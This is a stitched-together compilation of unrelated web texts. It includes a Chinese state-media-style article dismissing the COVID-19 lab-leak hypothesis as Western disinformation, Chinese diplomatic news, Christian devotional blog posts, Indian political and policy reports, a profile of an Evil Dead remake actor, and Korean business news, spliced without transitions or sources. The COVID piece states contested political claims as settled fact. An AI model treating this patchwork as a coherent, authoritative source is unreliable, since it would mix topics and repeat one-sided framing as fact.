The experts assessed the likelihood of possible pathways, saying COVID-19 introduction through an intermediate host is "likely to very likely," through cold/food chain products "possible," and through a laboratory incident "extremely unlikely."

Calling the report "a very important beginning," WHO Director-General Tedros Adhanom Ghebreyesus said: "We have not yet found the source of the virus, and we must continue to follow the science and leave no stone unturned as we do."

Nonetheless, some Western politicians have cooked up the lab-leak hypothesis to blame China and unleash intense waves of disinformation about the disease's origins, which have drawn criticism from the science community.

Danielle Anderson, who has extensive experience in bat-borne virus research, is the only foreign scientist to have worked in the high-security BSL-4 lab of the Wuhan Institute of Virology. In an interview with Bloomberg in June, Anderson rejected the lab-leak theory, saying, "If people were sick, I assume that I would have been sick -- and I wasn't.

Anderson also said that no one she knew at that time was ill. "We went to dinners together, lunches. We saw each other outside of the lab," said the virologist, who feels "dumbfounded by the portrayal of the lab by some media outside China, and the toxic attacks on scientists that have ensued."

Furthermore, Vladimir Dedkov, deputy director for scientific work at Russia's Pasteur Research Institute of Epidemiology and Microbiology, recently told Xinhua that if the hypothesis of an artificial origin is investigated, then it is necessary to investigate all laboratories with viruses of this type, not only in China, but in other countries.

Only scientists who rely on international cooperation can clarify the question of the origins of new viruses, he added.

Political hinderance

Some non-scientists are rushing to fabricate evidence in the name of science. U.S. President Joe Biden has tasked the U.S. intelligence community to produce a report on the origins of COVID-19 within 90 days, instead of offering assistance to the WHO and facilitating the worldwide hunt for the source of the virus, including in his own country.

Meanwhile, scientists are increasingly worried about the consequences of unfounded allegations, which will hinder origin-tracing work and undermine preparations for the next pandemic.

Earlier this month, two dozen prominent international scientists reiterated their belief that the coronavirus evolved naturally rather than escaped from a lab, in a letter published in The Lancet medical journal.

"Allegations and conjecture are of no help, as they do not facilitate access to information and objective assessment of the pathway from a bat virus to a human pathogen that might help to prevent a future pandemic," they wrote. "Recrimination has not, and will not, encourage international cooperation and collaboration."

"I concur with the many scientists who say that politicizing the science does not help genuine efforts to identify the origins of SARS-CoV-2, or ongoing collaboration between Chinese and Western scientists," said Hume Field, a science and policy advisor for China and Southeast Asia at EcoHealth Alliance in New York.

It just generates "doubt" and "mistrust" and fundamentally undermines the united global effort needed to prevail against the virus and the pandemic, Field told Xinhua.

Similarly, Dedkov said politicizing the topic is purely counterproductive, urging his colleagues to work together to find the cause of the pandemic instead of blaming China without proof.
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China is ready to step up cooperation with Turkmenistan in various areas, visiting Chinese State Councilor and Foreign Minister Wang Yi said on Tuesday.

Under the personal guidance of the two heads of state, the development of the China-Turkmenistan strategic partnership has maintained healthy and stable momentum, Wang said during talks with Serdar Berdymukhamedov, Turkmen deputy prime minister and chairman of the Turkmen side of the China-Turkmenistan Cooperation Committee.

China, Wang said, is ready to work with the Turkmen side to strengthen the mechanism building of the China-Turkmenistan Cooperation Committee, and prepare for its fifth session to be held this year.

China hopes that the two sides will sign the document which aligns the China-proposed Belt and Road Initiative with Turkmenistan's development strategy to revive the Great Silk Road, he noted.

Wang also called on the two sides to formulate a five-year plan for cooperation, facilitate negotiation on natural gas cooperation to achieve substantive progress at an early date, expand cooperation in the non-natural resources field and reach consensus on economic cooperation in key sectors as soon as possible and send a positive signal of long-term and stable strategic cooperation between China and Turkmenistan.

China will continue to provide COVID-19 vaccines for Turkmenistan and boost bilateral cooperation in the health sector, so as to help the Turkmen side to fight against the pandemic, said Wang.

The two sides should reach an agreement on the establishment of cultural centers in each other's country as soon as possible, said the Chinese foreign minister.

Berdymukhamedov, for his part, warmly congratulated the 100th anniversary of the founding of the Communist Party of China (CPC), and highly appreciated the great achievements China has made under the leadership of the CPC.

Berdymukhamedov said that Turkmenistan attaches great importance to constantly strengthening the Turkmenistan-China strategic partnership on the basis of mutual respect, equality and mutual benefits.

Under the guidance and promotion of the two heads of state, the two sides have maintained high-level cooperation in politics, economy, humanities and other fields, he said.

Berdymukhamedov said Turkmenistan is grateful to China for providing COVID-19 vaccines and hoped that the Turkmenistan-China Cooperation Committee will fully play its role in pushing forward bilateral cooperation in sectors such as economy, trade, education, culture, science, health and medical care to achieve greater results.
 Flash

The Chinese Embassy in Pakistan strongly condemned a blast that happened Wednesday morning in Pakistan's northwest Khyber Pakhtunkhwa province, leaving nine Chinese nationals and three Pakistanis dead.

At around 7:00 a.m. local time, the shuttle vehicles of the Dasu Hydropower Project for which a Chinese company was contracted to build, were hit by a blast when they were heading towards the construction site, the embassy said in a statement, adding that the Pakistani side is investigating into the incident.

After the blast, the embassy immediately activated the emergency response plan, and contacted the Pakistani military and Pakistani government departments including the foreign ministry and interior ministry, asking the Pakistani side to conduct the rescue and treatment work at all costs, enhance the security guarantee for the Chinese institutions, projects and personnel in Pakistan, and find out the truth of the incident as soon as possible, according to the statement.

The Pakistani military organized and started the rescue work immediately after the blast and dispatched helicopters to transfer the injured, the statement added.

The embassy expressed deep condolences to the dead and sincere sympathy to the injured in the blast, according to the statement.

Pakistani officials said the blast happened in the Upper Kohistan district of the province, and over 30 were injured in the incident.

Assistant Commissioner of Dasu area of the district, Asim Abbasi told Xinhua that the death toll might further rise because several of the injured were in critical condition.

Deputy Commissioner of the district Muhammad Arif told media that the seriously injured have been airlifted to hospitals with better facilities in the province, adding that the security forces have cordoned off the area and launched a search operation.

No group or individual has claimed the blast yet.
 Flash

China will continue to provide support within its capacity to Pacific island countries in need so that they can ultimately prevail over the pandemic, said a Foreign Ministry spokesperson on Wednesday.

Spokesperson Zhao Lijian made the remarks during a daily news briefing when asked to comment on a report that Papua New Guinea (PNG) had announced a rollout of the Chinese-made Sinopharm vaccine in an effort to further contain the spread of COVID-19 in the Pacific island country.

The announcement came after donations of Sinopharm vaccines arrived in PNG in late June. A ceremony was held Tuesday at Port Moresby General Hospital in the capital city of Port Moresby, where PNG government officials received vaccine jabs on site.

The PNG side said at the ceremony that the Chinese vaccine's safety and effectiveness have been fully tested and thanked the Chinese side for providing the PNG people with a new option in their fight against the pandemic, said Zhao.

Zhao said that PNG is the third Pacific island country to roll out a Chinese vaccine on a nationwide basis, after the Solomon Islands and Vanuatu, and noted that this is a concrete manifestation of China's firm commitment to making vaccines global public goods in Pacific island countries. He also said it was a practical action from China to promote the construction of a community of common health for mankind.
There exists an unnecessary tension.

Oftentimes people have been led to believe that faith is in opposition to science, that belief is different to fact, that creation is incompatible with evolution. That if one wants to be a good, faithful Christian, one must reject intelligent reason.

Numerous Christians offer their extraordinary God given gifts to the world via their services in different fields of the natural sciences. Yet, somehow, they do so with a sense of dissonance, rationalising that such activity is unspiritual.

There lingers the idea that faith in Christ is disconnected from and unconcerned with scientific activity.

Yet, it is my view that we are in error when we decide that different disciplines of knowledge are in competition with each other.

Each discipline, be it biology, psychology, economics, or theology each have their own scientific object of enquiry.

For biology, the object under investigation is life  plant life, animal life, human life, ecosystems, etc. For psychology, the object of investigation is the mind. For economics, the object of investigation is the flow of money. For theology, the object of investigation is God.

Different sciences have different objects of investigation.

Each science shares a common goal to ascertain knowledge of its own object of enquiry. Sciences combined, we humans gain greater knowledge of different aspects of reality.

So we are mistaken when we think that biology is trying to tell us who God is and why we exist. That is the aim of theology.

We are mistaken when we think that theology is trying to tell us how our bodies work and how our bodies have come to be the way that they are. That is the aim of biology.

Therefore: We shant turn to theological documents that aim to communicate who God is and why humans exist in light of God, and try treat them like biological texts. Likewise, we are at fault when we turn to biological data and attempt to use it to conclude whether God exists.

I dont book in with a theologian for a medical check-up.

So if I want to know how ecosystems and living bodies have come about the way that they have, or what happened, I put my trust in the biologists best and current biological knowledge. If I want to know why I exist, and who the Creator is, I put my trust in the theologians best and current theological knowledge.

Interestingly, the first 12 chapters of the Book of Genesis is a specific type of genre from the ancient Mesopotamian world called proclamation literature. (After chapter 12, Genesis shifts gear into a genre that is more historical like).

Importantly, this ancient theological text is not trying to give a modern, post-Enlightenment scientific analysis of how the world came to be. We must stop treating it as though it is. Genesis has its own specific context that it spoke into and that original context was not ours today.

I dont go to an action movie and expect it to be a horror.

The questions the Book of Genesis intended to answer for its own time are not the same scientific questions we ask today. In fact, I have come to realise that the point of the first few chapters of Genesis is not only mind-blowingly awesome, it has nothing to do with biological, nor physical, science at all.

It appears to me that Genesis chapters 1 and 2 means to say that a specific God known in the ancient world  Yahweh Elohim  has built a Temple.

Genesis makes the claim that the entire universe is actually the temple of the Lord God (YHWH El) which he made to live in. The proclamations in Genesis chapters 1 and 2, and the way theyre structured expounds this.

Yahweh, being the personal God of the Israelites. Elohim, being the Kingly God of the ancient Mesopotamian pantheon. Yahweh Elohim thus avers that the God of the Israelites is the sovereign Creator God.

On days 1, 2 and 3, the Lord God forms the foundations of the temple:

Day 1: He builds the day and the night.

Day 2: The sky and the waters.

Day 3: The land.

Fascinatingly, days 1, 2 and 3 are then paralleled by days 4, 5, and 6:

The Lord God then fills the previously formed foundations with beauty, wonder and life:

Day 4: God fills the day and the night from day 1 with the sun, moon and stars.

Day 5: God fills the sky and waters from day 2 with birds and fish.

Day 6: God fills the land from day 3 with land animals.

Forming and filling was how temples were built in the ancient world. Forming and filling is how Genesis 1 is structured.

Finally, the last thing that belongs in a temple is a picture or carving of the God who the temple is attributed to  an image of the God.

Finally, the last thing that God created were the humans  made in Gods image.

Different to other little temples to other little gods that used wood or bronze or gold for their images, these images are alive. We humans breathe, we love, we create things ourselves.

Turns out Genesis 1 has nothing to do with how long a day is and who had the first bellybutton.

God built a temple that we call a universe, forms humans to be pictures of him in this temple, and purposes us to take care of it on his behalf.

We reflect God in this temple. Additionally, as characters who share the same particles as the rest of the matter around us, we reflect the temple pieces back to God. We are the living, breathing, rationalising beings of the universe, also inspirited by him. In this way, scientists function as priests of creation.

Sciences arent in competition with each other.

Hence, us human creatures, called by God, are to be creatures who enjoy intellectualising our faith and believing in science.
After transitioning from high school to university in 2018, 2019 was a year of familiarity and steadiness. Where before I was navigating traffic, stop starting and not quite sure where I was going, 2019 was a year of cruising. Cruising to a destination I was sure I was supposed to be.

Bring on the summer of 2019/20. I didnt know how deep I was in my comfort zone until change hit. The start of my first full time job, a change of house after 6 and a half years on the horizon and seemingly changing social dynamics among my friends.

Despite the fact I knew these were good changes, they were nonetheless disorientating. A friend summarised the feeling well when he said, having so much going on all at once makes you feel you cant get a breath of fresh air.

At times it felt as if I was suffocating. Like I was fighting for breath and grasping onto any forms of familiarity. Ive heard it said that change can be difficult, but I didnt believe it until this summer.

Its ok

The way I tried to deal with this discomfort was to not give myself permission to feel it.

You see, as a thinker, I often think that if I can cover myself with enough truth, I can convince myself to stop feeling a certain way.

So, with each wave of discomfort, my response would be to continually remind myself  no, forcefully remind myself  that this change is good, and I shouldnt feel this way. My idea of resilience was supressing emotion instead of dealing with it.

Now that was half the problem. I wasnt present with how I was feeling. Instead of allowing myself to experience these emotions and bring it to God, I tried to ignore them. I didnt validate my own feelings.

I think this is a significant contributor to suffering in our modern world. Instead of giving others and ourselves freedom to feel, we attempt to shrug it off with rationale.

Mike Donehey gives a good example of when he was on tour and someone asked him how he was feeling. He said, lonely and sad. What was the other persons response? Oh no, dont feel that way. Were going to have a great show tonight.

But Mike offers some great wisdom in his response. He replied by saying hey, thats ok. Ive been away from my wife and kids for 4 days. If I didnt feel sad and lonely, there would be an issue.

Instead of trying to shrug off his feelings, he took time to understand them and deal with them appropriately. Ive found the feelings pass faster and are more bearable when you confront them.

It comforted me knowing that even though Jesus knew that Lazarus would rise again, He still wept. He still experienced those painful emotions despite knowing all that truth (John chapter 11). We see a similar scenario played out the night before His crucifixion. He knew He would rise again, but still felt the despair and dread regardless (Luke chapter 22, verse 42).

So, Im reminding myself its ok to feel uncomfortable, to experience difficulty. It doesnt mean my faith is insufficient, it just means Im human.

The sweetness will come

Going back to change, I was reassured knowing that the anxiety of the change and the discomfort doesnt make it any less good.

Strahan Coleman captures this sentiment beautifully:

Newness (change) is magnificent, refreshing and exciting. Its cool to the soul and brings new life to wounded places.

Newness is painful, destabilising and obscure. It creates discomfort where settling has occurred in our lives, forcing out the old stuff wed become accustomed to.

If you continually pour new water into an already full glass the new and the old will mix up for a while before the fresh stuff eventually sieves out the old.

The change from stagnant to fresh isnt instant, its unsatisfying like that. After the initial rush of cool water hitting the glass theres a battle between comfort and risk, safety and adventure, familiarity and newness.

Being forced out of our comfort zone can be hard, but it is essential if we are to grow. A quote from To Kill a Mockingbird has always stuck with me:

Its like bein a caterpillar in a cocoon, thats what it is. Like somethin asleep wrapped up in a warm place.

Its so easy to stay in that warm place and to chose comfort. But, when we do this, we prevent ourselves from becoming all that He wants us to be. If we remain a caterpillar, we can never become that beautiful butterfly He destined us to be (poetic, I know).

So, dont be afraid if God came to your life with newness and then things got crazy. Its the old making its way out, disorienting you.

The Spirit is making room in your life out of old things, and in just a moment all that will remain is the sweetness of a full resurrection.

An encouragement to us all: keep persevering, the sweetness will come.
Dear Christians, I am writing to encourage you in the face of increasing pressure to conform to the world. It may feel like we are wading into unprecedented times for those who want to faithfully live the way God has laid out but I endeavour to encourage you that although the pressure and persecution is different it is not new.

A great cloud of witnesses

One of the wonderful things about living in the 21st century is that we have thousands of years of testimonies from faithful Christians to look back upon  and thousands of years of Biblical history to also be encouraged by. In Hebrews Chapter 12 verse 1, Paul says 

Therefore, since we are surrounded by such a great cloud of witnesses, let us throw off everything that hinders and the sin that so easily entangles. And let us run with perseverance the race marked out for us.

All the believers (first Jews, then Christians) who have gone before us have witnessed to Gods faithfulness and goodness and serve as examples to us to keep our eyes on what really matters  what Jesus did for us in dying on the cross to save us from sin and death and give us eternal life and reconciliation with God.

Challenging times

The moral compass of western society seems to be changing at an alarmingly rapid pace  gone are the days when being a Christian (or at least going to church) was what was held up as the right way to live and celebrated.

Increasingly these days, simply holding Christian beliefs and expressing them in a gentle and peaceful way is painted as being bigoted and hateful. The idea of tolerance has gone from We can peacefully co-exist with different opinions on things to You have to agree that everything I do is right or youre committing a hate crime against me.

I have been much discouraged by this change in societal values which seems to be a huge paradigm shift  a massive and alarming departure from Gods values that have been followed for hundreds or thousands of years but that is not actually the case, this current surge of pressure to conform is nothing new but is the same thing that has been happening in one form or another since ages past.

If Charles Spurgeon lived today

Charles Spurgeon who lived from 1834 to 1892 was a Baptist minister  called the Prince of Preachers and although times were significantly different, one of my favourite quotes from him could just have easily been written yesterday as when it was written  the 1800s!

This present age is so flippant that if a man loves the Saviour he is styled a fanatic, and if he hates the powers of evil he is named a bigot.

I find this quote so encouraging as it shows that we are not alone in facing scorn or persecution for holding on to Biblical world-views and that we are not facing a new and unimaginable trial but just the same one that Christians across the ages have faced.

Same trouble, different reason

Throughout history  from Bible times to current times, faithful believers have always been persecuted for wanting to follow God and live according to his ways.

Perpetua was a Roman woman and young mother who converted to Christianity and in AD 203 was sent to prison and sentenced to death  she could have saved her life by burning incense in an act of worship to the Roman gods but she gave up her life instead to remain faithful to God.

William Tyndale (1494-1536) was a priest who could have gone a long way in the church hierarchy with power, position, and respect but instead he ended up on King Henry VIIIs most wanted list in 1535 because he refused to stop teaching about the good news of justification through faith.

In addition, he translated the Bible into English for the common people  something which meant he spent his life on the wrong side of the law, the Catholic Church, and the Church of England.

In 1536 he was betrayed, tried for heresy, and condemned to burn at the stake - he was given the chance before he died to recant and deny the gospel which would have saved his life but he refused because he valued God above all else  even his own life.

John Bunyan was an English man (1628-1688) who was thrown into prison for not conforming to the states approved church  at the time the Church of England. He could have been released from prison if he had agreed to stop preaching the gospel and encouraging others to hold fast to the truth of it.

Instead, he spent 12 years in prison  away from his family because he held Gods truth as first importance in his life even though being apart from his family was as the pulling of flesh from my bones.

Take heart!

Times are changing, and times are becoming increasingly difficult for Christian believers to be able to live according to Gods good design and share his good news but I am so grateful that this is not some new and unprecedented threat or a surprising thing that is only happening to this current generation of Christians.

No, faithful Christian believers have always been persecuted  sometimes by the state, by the church, by society, in different ways at different times but always for the same reason  Christians risk social exclusion, jail, even death for wanting to live according to the good ways God has given us and lovingly share that good news with others in a faithful and uncompromising manner.

Take heart Christians and remember that what God has done for us and what God offers us is of far greater importance and wonderfulness than anything the world could possibly offer and that he is with us every step of the way.
We are tired of being told to do more with less, we are tired of working year after year and seeing our benefits reduced and seeing our wages flattened at the same time we know that the wealthiest among us are doing better than ever, said Rob Baril, president of the states largest health care workers union, SEIU 1199 New England.
Cut Bank, MT (59427)

Today

Mainly clear skies. Low 56F. Winds NW at 5 to 10 mph..

Tonight

Mainly clear skies. Low 56F. Winds NW at 5 to 10 mph.
If he committed that infraction, then well deal with that, the attorney added. But its not an escape, and they know it ... He shouldnt be going back to prison for not answering his phone for one night, when they know he was at home the whole time.
The North Carolina State Bureau of Investigation was asked to investigate the shooting. On May 18, Andrew Womble, the district attorney for northeastern North Carolina, said the investigation had determined the shooting was justified and no officers would be charged. Womble said the deputies fired because they feared Brown was going to hit some of them with his car.
those who say Beti Bachao, Beti Padao are failing to allocate funds and develop the college, AISF member Shankar alleged. Representational Image (PTI)

Hyderabad: Even as a denial has come on reports of closure of the Kamala Nehru Polytechnic for Women in the city, members of the pro-CPI All India Students Federation (AISF) on Tuesday registered their protest over such a move. The college is run by the Exhibition Society, which holds the annual All India Industrial Exhibition in its sprawling campus in Nampally area.

When contacted, Aditya Margam from the Society told Deccan Chronicle: We are not shutting down the college. The college is being upgraded to an engineering college. The state government has decided that there is no need to provide teachers to any private engineering college. We are not enrolling new students for some courses. We are not shutting down.

Student organisations pointed out that the college played a significant role in equipping many students in the Commonwealth countries as technical professionals since its inauguration in 1964 when technical education was restricted to men only.

The state government should work hard to protect the college, which is one of the leading technical women's colleges in India, AISF member Shankar said.

Those who say Beti Bachao, Beti Padao are failing to allocate funds and develop the college, he alleged.

Shankar said the AISF sought development of Kamala Nehru Women's Polytechnic College. He requested the government that the decision to close the college be withdrawn.
Bengaluru: Leader of Opposition in the Karnataka Legislative Assembly Siddaramaiah has urged the government to convene the legislature session immediately in the northern district of Belagavi to discuss a host of issues including COVID-19 management, financial situation, and corruption allegations.

The senior Congress leader on Tuesday wrote to Chief Minister B S Yediyurappa and Speaker Vishweshwar Hegde Kageri in this regard.

Noting that as per section 3 and 4 of The Karnataka Conduct of Government Business in the State Legislature Act, 2005, a session should have been called in July, Siddaramaiah said the government has not taken any steps for convening the session, in violation of rules.

"People of the state are facing several problems. ....the way the government managed the second wave of COVID resulted in anarchy and it was fatal for the people of the state," he was quoted as saying in the letter, by his office in a statement released on Wednesday.

Pointing out that there are already fears of a third wave of COVID, the Congress Legislature Party leader said there is still no information from the government regarding the measures it has taken to tackle it.

He also accused the state government of not providing adequate relief or compensation to those affected by floods in the last two years and alleged it has completely neglected the agriculture sector. The congress leader also claimed the state government is facing serious corruption charges.

"Education sector is also in shambles, also there is increase in the incidents of rape against dalits and downtrodden women. Honour killings and suicides besides illegal mining have also increased," he alleged. Siddaramaiah said, as per the Karnataka Conduct of Government Business in the State Legislature Act, 2005, at least four sessions should be held in a year- 15 days in January, 20 in March, 15 in July and in November 10 days.

He said in 2020, the session was only held for 31 days, while in 2021 it has been held for just 20 days. "After this government's coming to power, session has not been held in Belagavi even once.This conduct of the government in violation of rules is unpardonable," he said as he urged the government to immediately issue a notification convening the session.

Sessions have not been held in Belagavi in the last two years due to floods and COVID-19.

Belagavi in north Karnataka, bordering Maharashtra, has been hosting legislature sessions once a year since 2006.

Karnataka has constructed the Suvarna Vidhana Soudha, modelled on the Vidhana Soudha, the state secretariat in Bengaluru, for this purpose and it is also seen as an assertion that Belagavi is an integral part of Karnataka.

Maharashtra claims Belagavi belongs to it.
HYDERABAD: The state Cabinet on Wednesday approved Telangana Food Processing Policy and Telangana Logistics Policy. Since the paddy yield is increasing regularly, it has been decided to set up food processing units in a big way in the state. It has also been decided to set up 10 special food processing zones in the first phase.

The Cabinet instructed the officials concerned to ensure that these zones are set up in not less than 500 acres up to 1,000 acres and by 2024-25, state-wide food processing zones are set up in 10,000 acres. It has decided to give incentives for the entrepreneurs who come to invest in the sector.

The government would procure and develop all basic infrastructure facilities and allocate lands to those eligible among the applicants. Through this, it is estimated to attract Rs 25,000 crore investment, providing 70,000 direct and indirect employment to three lakh people. Special incentives will be given to the food processing units, which have international quality.

Construction of any residential or other structures in the buffer zone, which is within 500 meters around the zone will not be allowed. The cabinet has decided to extend the last date for the entrepreneurs to apply from July 12 to July 31.

The Cabinet has recognised that due to the Corona pandemic, when people were not able to venture out, the logistics sector played a very useful role in extending commodity service to the people. Basic infrastructure facilities including godowns, cold storages, dry ports, truck dak parking and others will be developed in the logistics sector.

A dry port will be set up in 1,400 acres in the state (multi-model logistic park) under the PPA mode. Two new integrated container depots (ICD) like the Concur ICD at Sanathnagar will be set up in coordination with the customs department to encourage more exports from the state. The Cabinet has also approved the decision to set up another 10 Integrated parks all over the state as was done at Batasingaram. A centre for excellence in skill development in this sector with international standards will also come up with the help of TASK.

It was also decided to set up logistic parks in all districts in the state. Entrepreneurs who will set up multi-model logistic parks and warehouses will be given incentives. Through this, all over the state in the logistic sector, 1 lakh people directly and 2 lakh people indirectly would get employment. For this, the Cabinet has instructed the industries department to take measures to attract Rs 10,000 crore worth investments.

The Cabinet has decided to encourage and inspire farmers to take up oil palm cultivation in 20 lakh acres. As part of this, Rs 26,000 per acre will be given to farmers in the first year, Rs 5000 per acre in the second and third years as input financial incentive.
If a state wishes to stabilise its population, it could start with focusing its political energy on improving female literacy and other. Representational Image (Representational image: PTI)

We cant have a sustainable planet without stabilising our population.

It is also no secret that coercive population control policies are not the way to stabilise population. The Narendra Modi government at the Centre was clearly aware of these well-known facts when it told the Supreme Court in December last year that India is unequivocally against forcing family planning on its people and that international experience shows that any coercion to have a certain number of children is counter-productive and leads to demographic distortions. In an affidavit filed in the Supreme Court, in response to a PIL seeking enactment of a law to control population, the health and family welfare ministry referenced the Programme of Action of the International Conference on Population and Development 1994, to which India is a signatory, and asserted that the country was unequivocally against coercion in family planning. It noted that the countrys family welfare programme was voluntary in nature.

More than six months down the line, Uttar Pradesh, ruled by the same BJP which calls the shots at the Centre, is singing a totally different tune. It has come up with a new population policy for 2021-2030 and wishes to bring in a law that would debar those with more than two children from contesting in local polls, prevent them from applying for or getting promotion in government jobs, and get various government subsidies. The proposed law also says that it shall be the duty of the government to introduce a compulsory subject relating to population control in all secondary schools.

Unsurprisingly, the Uttar Pradesh Population (Control, Stabilisation and Welfare) Bill 2021, which is open for suggestions from the public till July 19, has kicked up a storm.

The proposed law offers a slew of incentives to public servants who adopt the two-child norm such as two additional increments during their entire service, maternity or as the case may be, paternity leave of 12 months, with full salary and allowances.

All this is being done, the UP government argues, because there are limited ecological and economic resources at hand in the state and it is necessary and urgent that the provision of basic necessities of human life, including affordable food, safe drinking water, decent housing, access to quality education, economic/livelihood opportunities, power/electricity for domestic consumption, and a secure living is accessible to all citizens.

The state wants to bring down its gross fertility rate from 2.7 (at present) to 2.1 by 2026, and to 1.9 by 2030.

No one can have any quarrel with the idea of any state government wanting to provide basic necessities to its people. But where is the evidence to show that coercive measures help stabilise population in the long run, especially in democracies? Why is population control and population balance becoming the talking points instead of the real issues that need to be addressed so that the state can deliver the basics to its people.

There has been a continuous fertility decline among most states in India over the years. States like Kerala and Tamil Nadu, which have succeeded in sharply reducing their total fertility rate, have done so by focusing on female literacy, womens education, increasing age of marriage and overall human development. This is also true for other countries in the neighbourhood which have successfully stabilised their population.

There is a wealth of evidence that suggest that women with no, or low education, have higher fertility as compared to women with higher levels of education. Indias country-wide female literacy rate is 70.3 per cent, while the male literacy rate is estimated at around 84.7 per cent, going by a nationwide study by the National Statistical Office from July 2017 to June 2018. But a bunch of states, including UP, trail behind the national average when it comes to female literacy. Female literacy rate in Uttar Pradesh was pegged at 63.4 per cent, while male literacy in the state is around 81.8 per cent.

If a state wishes to stabilise its population, it could start with focusing its political energy on improving female literacy and other development indicators. Health activists are pointing out that states which have a dismal record in infant mortality, where institutional births are fewer, and where female illiteracy is high have a much higher birth rate than others.

The governments own surveys show that women in the lowest wealth quintile, and the least educated women, had on an average one more child than those with more than 12 years of schooling and in the highest wealth quintile.

The total fertility rate (TFR) in the country as a whole is coming down 19 out of 22 states now have a below-replacement fertility which means women in these states have less than two children. In UP too, the fertility rate is on a downward trajectory  it nearly halved from 4.82 in 1993 to 2.7 in 2016.

Political observers say the draft bill is less about population stabilisation and more about the politics of perception. Irrespective of whether it becomes a law or not, it is already being seen as a marker of muscular Hindutva that will keep the minorities in their place. With Uttar Pradesh Assembly elections inching closer, this could help consolidate the BJPs support base in the state.

As Ashwini Deshpande, professor of economics, Ashoka University, said in a recent commentary: The unstated, or often stated, argument is that certain communities have too many children. This stokes baseless majoritarian fears.

Of course, Uttar Pradesh isnt alone in believing in the power of the stick. Assam, also a BJP-ruled state, is debating a population control policy. Gujarat, another BJP state, says it plans to study the new population control laws in other states. In Gujarat, those with more than two children cannot contest local body polls.

Many states have experimented with the two-child policy in one form or another over the years. But they arent uniform, and its hard to quantify their impact. Population experts say coercive population policies can do harm  worsen the child sex ratio, malnutrition, etc  and should be avoided at all costs.

Its critical that we keep the fundamentals on the front-burner. The Uttar Pradesh government headed by Yogi Adityanath acknowledges that illiteracy and poverty can slow down population stabilisation. Women with no schooling have a higher fertility rate in UP, as in other states.

Theres an urgent need to act on the why in these areas, and not population control through coercion, if the goal is sustainable and inclusive development.


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There are very few things in life more intimidating than auditioning for a role in the Evil Dead remake while Bruce Campbell watches from behind a casting table. The original Evil Dead has already gone down in filmmaking history as one of the definitive horror-comedies, so hearing that the film was coming back in a remake certainly sent a shiver down the spines of fans everywhere. After all, remakes hardly ever do justice to the original project, and with something as revered as Evil Dead, well, who knew what to expect?

Thankfully, the addition of Thumbsucker star Lou Taylor would bring to the project what Bruce Campbell had offered to the original, a sense of cutting charm that fit both the period of the film as well as the horrific-comedic genre it inhabited. Before we dive too deeply into Evil Dead and the work that went into creating its remake, let's get to know one of the film's biggest stars.

Meet Lou Taylor

A cursory glance at the resume of Lou Taylor would tell you only a little of what you need to know regarding the actor. Born and raised in New Jersey to a family of entertainers, Lou was offered the chance to ingratiate himself within the acting world at a young age. Instead of diving right in, however, Lou would spend his summers enjoying life as an Altar Boy at the family church, growing to love the outfits and environment of the church.

While Lou found himself at church from a young age, he would quickly pivot his career's focus toward acting. A chance to audition for a role in a stage production of Oliver would send Lou to the auditorium. After booking a role, his career would hit the turbo button. Barely a few short years later, Lou was earning leading roles on Broadway in productions like The Sound of Music. Through this work, the future Evil Dead star would meet his first agent and manager while segueing into acting on the silver screen.

More than just an actor, Lou has brought a workmanlike approach to his career from a young age. Taylor describes his early years on Broadway while balancing school as an overwhelming schedule. Taylor says that he had Monday off to himself, "But that was the only day off that I had." All of his other time was spent on stage, in front of a camera, at school, or rehearsing his lines.

Broadway and SXSW to Hollywood

A short foray onto Broadway led Lou to acquire the manager that would book his breakthrough role in Personal Velocity as Kevin. The film would go on to win the Grand Jury Prize at Sundance, which was itself a sneak peek into Taylor's future. The success of Personal Velocity would lead Taylor to an audition with Mike Mills for the lead role in Thumbsucker, a film centering on a young adult who is stuck in a thumb-sucking habit. Also featuring Keanu Reeves and Tilda Swinton, Lou would become the breakout star of the project, earning the Best Actor award at both Sundance and the Berlin Film Festival.

After establishing himself in the industry and landing an agent, Lou would enjoy a busy career that catapulted him toward stardom through projects like The Informers, Southland Tales, The Chumscrubber, A.X.L, and Evil Dead.

Star Turning Performance in Evil Dead

There are many different roads that performers will take before they hit their breakthrough project. For Taylor, his breakthrough roles came at the same time as his introduction to the industry, yet it wouldn't be for another decade or so that his mainstream popularization would be complete.

A nominally introverted actor with a quietly intense screen presence, Taylor was an unnatural yet perfect fit for the role of Eric in 2013's Evil Dead. The film is a marked departure from Taylor's more spirited independent fare, placing a focus on the blood, guts, and viscera that has long dominated the horror genre. To gain the role, Taylor would have to go through, well, quite a bit.

Taylor remarks, "I mean, Bruce Campbell was at the audition."

Lou would describe his original audition as equally fascinating, pointing to Campbell as a source of inspiration. Taylor described Campbell as saying, "Are you ready to get completely ****** up? For all this blood to be in your face every single day?"

Taylor's response was simple, "Let's try it. Who wouldn't?"

Leaping into the film with a workmanlike approach to the genre, Taylor would immediately ground himself as one of the central figures in the film. While each character takes their turn leading the story along, Taylor's Eric is particularly grounded and easy to follow. For his part, Taylor doesn't even mind how the blood and horror crop up throughout the film. Taylor says, "It actually kind of hones you in on your limbs being a part of you, your body being this thing that can be maimed or disfigured for life."

Guided by Bruce Campbell's advice to "bring something new", Taylor would work closely with director Fede Alvarez (Don't Breathe (2016). Taylor said of Fede, "He knew his entire world and that was just so good to be working with a director who's also the writer."

Evil Dead was released on April 5, 2013, in the United States of America by Sony Pictures Releasing. The film would go on to gross more than $97 million globally against its production budget of just $17 million, becoming a modest success with positive reviews along the way. For his efforts, Lou Taylor would earn Best Supporting Actor honors from the Fangoria Chainsaw Awards as well as the Fright Meter Awards.

What's Next For Lou Taylor?

In the years since his successful blockbuster run with Evil Dead, Lou Taylor has continued to expand his filmmaking and television offerings. A steady performer in Hollywood, Taylor has most recently appeared as an episodic regular in projects such as American Horror Story (2019), Shameless (2021), and Physical (2021).

Taylor advises potential actors following in his footsteps to avoid coming to Los Angeles to "make it". Instead, Taylor advocates that entertainers cement their skills and develop their talents through external markets before arriving in Los Angeles as more fully-formed and prepared artists.
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An Outback Steakhouse restaurant in Pohang, North Gyeongsang Province / Korea Times file

By Park Jae-hyuk



BHC Group, which owns the nation's second-largest fried chicken franchise, is expected to acquire Outback Steakhouse Korea from SkyLake Equity Partners.



According to industry sources and media reports, Wednesday, BHC outbid a consortium of Daishin Private Equity and Yuanta Investment last month. SkyLake is also said to have recognized BHC for its experience with running multiple restaurant franchises.



It seems the seller will choose BHC as the preferred bidder in the near future, although a BHC spokesman said the company has yet to be informed about this. Daishin, meanwhile, kept a low profile. SkyLake and the deal's underwriter, Credit Suisse, were unavailable for comment.



